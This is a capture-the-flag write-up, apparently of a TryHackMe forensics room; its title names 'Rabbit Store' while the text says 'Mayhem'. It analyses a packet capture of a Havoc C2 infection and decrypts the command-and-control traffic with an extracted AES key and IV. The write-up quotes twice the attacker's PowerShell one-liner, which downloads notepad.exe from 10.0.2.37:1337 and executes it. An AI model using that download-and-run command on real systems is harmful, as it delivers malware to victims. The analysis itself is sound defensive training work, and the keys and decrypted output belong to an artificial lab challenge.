TryHackMe: Rabbit Store
Hey everyone, and welcome to another cybersecurity write-up! Today, we’re strapping on our detective hats and diving into the TryHackMe Mayhem room. The name suggests chaos, and our job is to make sense of it. This room is all about network forensics, so let’s get ready to dissect some packets!
The First Clue: The Pcap File
Our journey begins after unzipping the challenge file. Inside, we find a single, intriguing item: traffic.pcapng
. A packet capture! This is where all the juicy evidence is hiding.
My first instinct, like any totally normal person, was to peek inside with a text editor. Hey, don’t judge! Sometimes you find interesting plaintext right away.
1
2
# Let's see what's inside this mysterious file
nvim traffic.pcapng
Before we get too excited, let’s do a quick safety check.
1
2
3
4
5
6
❯ lsz
Permissions Size User Date Modified Name
.rwxr-xr-x 305k cilgin 15 Nov 2023 traffic.pcapng
~/Downloads via v3.13.5
❯ chmod -x traffic.pcapng
Woah there! The file has execute permissions? That’s a huge no-no for a data file. We wouldn’t want to accidentally run our packet capture, would we? That could be the shortest investigation ever. Let’s defuse this tiny, insignificant bomb by removing that permission. Safety first!
This file is probably from NTFS filesystem.
Opening the file reveals some surprisingly readable text amongst the binary mess:
1
2
3
4
5
$aysXS8Hlhf = "http://10.0.2.37:1337/notepad.exe";$LA4rJgSPpx = "C:\Users\paco\Downloads\notepad.exe";Invoke-WebRequest -Uri $aysXS8Hlhf -OutFile $LA4rJgSPpx;$65lmAtnzW8 = New-Object System.Net.WebClient;$65lmAtnzW8.DownloadFile($aysXS8Hlhf, $LA4rJgSPpx);Start-Process -Filepath $LA4rJgSPpx
GET /install.ps1 HTTP/1.1
Well, well, what do we have here? It looks like our attacker used a PowerShell script (install.ps1
) to download a file named notepad.exe
. That seems… incredibly suspicious.
Calling in the Big Guns: Wireshark
Reading a .pcap
file in a text editor is like trying to read a novel through a keyhole. It’s time to fire up the proper tool for the job: Wireshark.
Using Wireshark’s “Export Objects” feature, we can easily extract the install.ps1
script and the downloaded notepad.exe
file.
The install.ps1
script is a nasty one-liner, just like we saw earlier:
1
$aysXS8Hlhf = "http://10.0.2.37:1337/notepad.exe";$LA4rJgSPpx = "C:\Users\paco\Downloads\notepad.exe";Invoke-WebRequest -Uri $aysXS8Hlhf -OutFile $LA4rJgSPpx;$65lmAtnzW8 = New-Object System.Net.WebClient;$65lmAtnzW8.DownloadFile($aysXS8Hlhf, $LA4rJgSPpx);Start-Process -Filepath $LA4rJgSPpx
Now, about that notepad.exe
… My malware senses are tingling! Let’s send it over to VirusTotal for a second opinion.
VirusTotal - File - 99784f28e4e95f044d97e402bbf58f369c7c37f49dc5bf48e6b2e706181db3b7
Bingo! The results are in, and it’s lit up like a Christmas tree. VirusTotal confirms our suspicions: this is a malicious payload generated by the Havoc C2 framework. Nasty stuff.
HavocFramework/Havoc: The Havoc Framework
Digging for Strings
VirusTotal is great, but let’s do some of our own sleuthing. The strings
command is a fantastic tool for pulling any readable text out of a binary file. You’d be surprised what secrets you can find.
1
2
# Let's see what secrets this "notepad" is hiding.
strings notepad.exe
1
2
3
!This program cannot be run in DOS mode.
...
demon.x64.exe
After scrolling through what feels like the entire Matrix, one line near the end jumps out: demon.x64.exe
. That’s not a typo! The Havoc C2 framework uses flagship agent named “Demon”. This all but confirms we’re on the right track.
The Keys to the Kingdom
A bit of research (shoutout to this great Immersive Labs article!) tells us that Havoc uses a “magic byte” sequence, 0xDEADBEEF
, to mark the start of its encrypted communication setup. It’s like a secret knock. If we can find this knock in our packet capture, the keys to the kingdom (or at least, the encryption keys) should be right next to it.
I searched for these magic bytes in Wireshark and found them!
By analyzing the bytes immediately following 0xDEADBEEF
, we can extract the AES key and the IV (Initialization Vector).
1
2
AES key: 946cf2f65ac2d2b868328a18dedcc296cc40fa28fab41a0c34dcc010984410ca
IV key: 8cd00c3e349290565aaa5a8c3aacd43
Cracking the Code with CyberChef
Now that we have our keys, we need the encrypted data. The C2 communication happens over HTTP POST requests. We can use tshark
, the command-line cousin of Wireshark, to filter our capture and extract just the data from these requests.
1
2
# This command isolates all the POST request media types from the pcap
tshark -r traffic.pcapng -Y 'http.request.method == "POST"' -T fields -e media.type
With our encrypted data blobs and our AES/IV keys in hand, we head over to the digital swiss-army-knife for data manipulation: CyberChef.
The recipe is simple:
- Input the encrypted data.
- Use the “From Hex” operation.
- Use the “AES Decrypt” operation, plugging in our extracted Key and IV. Make sure the mode is set to CBC.
A quick side note: The raw decrypted output was a bit messy, so I used some Vim magic to clean it up for presentation. I could have written a Python script but i wanted do the work myself since there is not that much data.
1
2
3
# This command isolates all the POST request media types from the pcap
tshark -r traffic.pcapng -Y 'http.request.method == "POST"' -T fields -e media.type | nvim
1
:%s/00000010deadbeef0e9fb7d80000000100000000/
1
2
3
4
5
6
# And some more to handle the data format
/3a
ctrl-v
select all
n
d
The Loot: What the Attacker Saw
After decrypting all the POST data blobs, we get a treasure trove of information. The attacker was busy! Here’s the some of the data i gained.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Host Name: WIN-9H86M71MBE9 OS Name: Microsoft Windows Server 2019 Standard Evaluation OS Version: 10.0.17763 N/A Build 17763 OS Manufacturer: Microsoft Corporation OS Configuration: Primary Domain Controller OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00431-10000-00000-AA311 Original Install Date: 11/14/2023, 7:36:09 PM System Boot Time: 11/14/2023, 7:55:55 PM System Manufacturer: innotek GmbH System Model: VirtualBox System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~3600 Mhz BIOS Version: innotek GmbH VirtualBox, 12/1/2006 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-08:00) Pacific Time (US & Canada) Total Physical Memory: 8,192 MB Available Physical Memory: 6,352 MB Virtual Memory: Max Size: 10,112 MB Virtual Memory: Available: 8,376 MB Virtual Memory: In Use: 1,736 MB Page File Location(s): C:\pagefile.sys Domain: clientserver.thm Logon Server: \\WIN-9H86M71MBE9 Hotfix(s): 3 Hotfix(s) Installed. [01]: KB5020627 [02]: KB5019966 [03]: KB5020374 Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Desktop Adapter Connection Name: Ethernet DHCP Enabled: Yes DHCP Server: 10.0.2.3 IP address(es) [01]: 10.0.2.38 [02]: *********************** Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 UserName SID ====================== ==================================== CLIENTSERVER\paco ******************************************* GROUP INFORMATION Type SID Attributes ================================================= ===================== ============================================= ================================================== CLIENTSERVER\Domain Users Group S-1-5-21-679395392-3966376528-1349639417-513 Mandatory group, Enabled by default, Enabled group, Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group, BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner, BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group, BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group, CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group, LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group, Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group, Mandatory Label\High Mandatory Level Label S-1-16-12288 Mandatory group, Enabled by default, Enabled group, Privilege Name Description State ============================= ================================================= =========================== SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeSecurityPrivilege Manage auditing and security log Disabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeLoadDriverPrivilege Load and unload device drivers Disabled SeSystemProfilePrivilege Profile system performance Disabled SeSystemtimePrivilege Change the system time Disabled SeProfileSingleProcessPrivilegeProfile single process Disabled SeIncreaseBasePriorityPrivilegeIncrease scheduling priority Disabled SeCreatePagefilePrivilege Create a pagefile Disabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled SeUndockPrivilege Remove computer from docking station Disabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegationDisabled SeManageVolumePrivilege Perform volume maintenance tasks Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled SeCreateSymbolicLinkPrivilege Create symbolic links Disabled SeDelegateSessionUserImpersonatePrivilegeObtain an impersonation token for another user in the same sessionDisabled
1 2 3 4 5 6 7 8 9 10 Volume in drive C has no label. Volume Serial Number is D284-F445 Directory of C:\******\**** 11/14/2023 08:12 PM <DIR> . 11/14/2023 08:12 PM <DIR> .. 11/14/2023 08:04 PM <DIR> Files 0 File(s) 0 bytes 3 Dir(s) 94,010,191,872 bytes free
1 2 3 4 5 6 7 8 9 10 Volume in drive C has no label. Volume Serial Number is D284-F445 Directory of C:\*****\****\**** 11/14/2023 08:14 PM <DIR> . 11/14/2023 08:14 PM <DIR> .. 11/14/2023 08:14 PM 555 clients.csv 1 File(s) 555 bytes 2 Dir(s) 94,010,060,800 bytes free
1 THM{*****************************}
1 2 3 4 5 6 7 8 9 10 Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : home Link-local IPv6 Address . . . . . : ************************** IPv4 Address. . . . . . . . . . . : 10.0.2.38 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.0.2.1
Now it’s your turn! Decrypt the data and answer the questions.
And there we have it. Hope you enjoyed the walkthrough!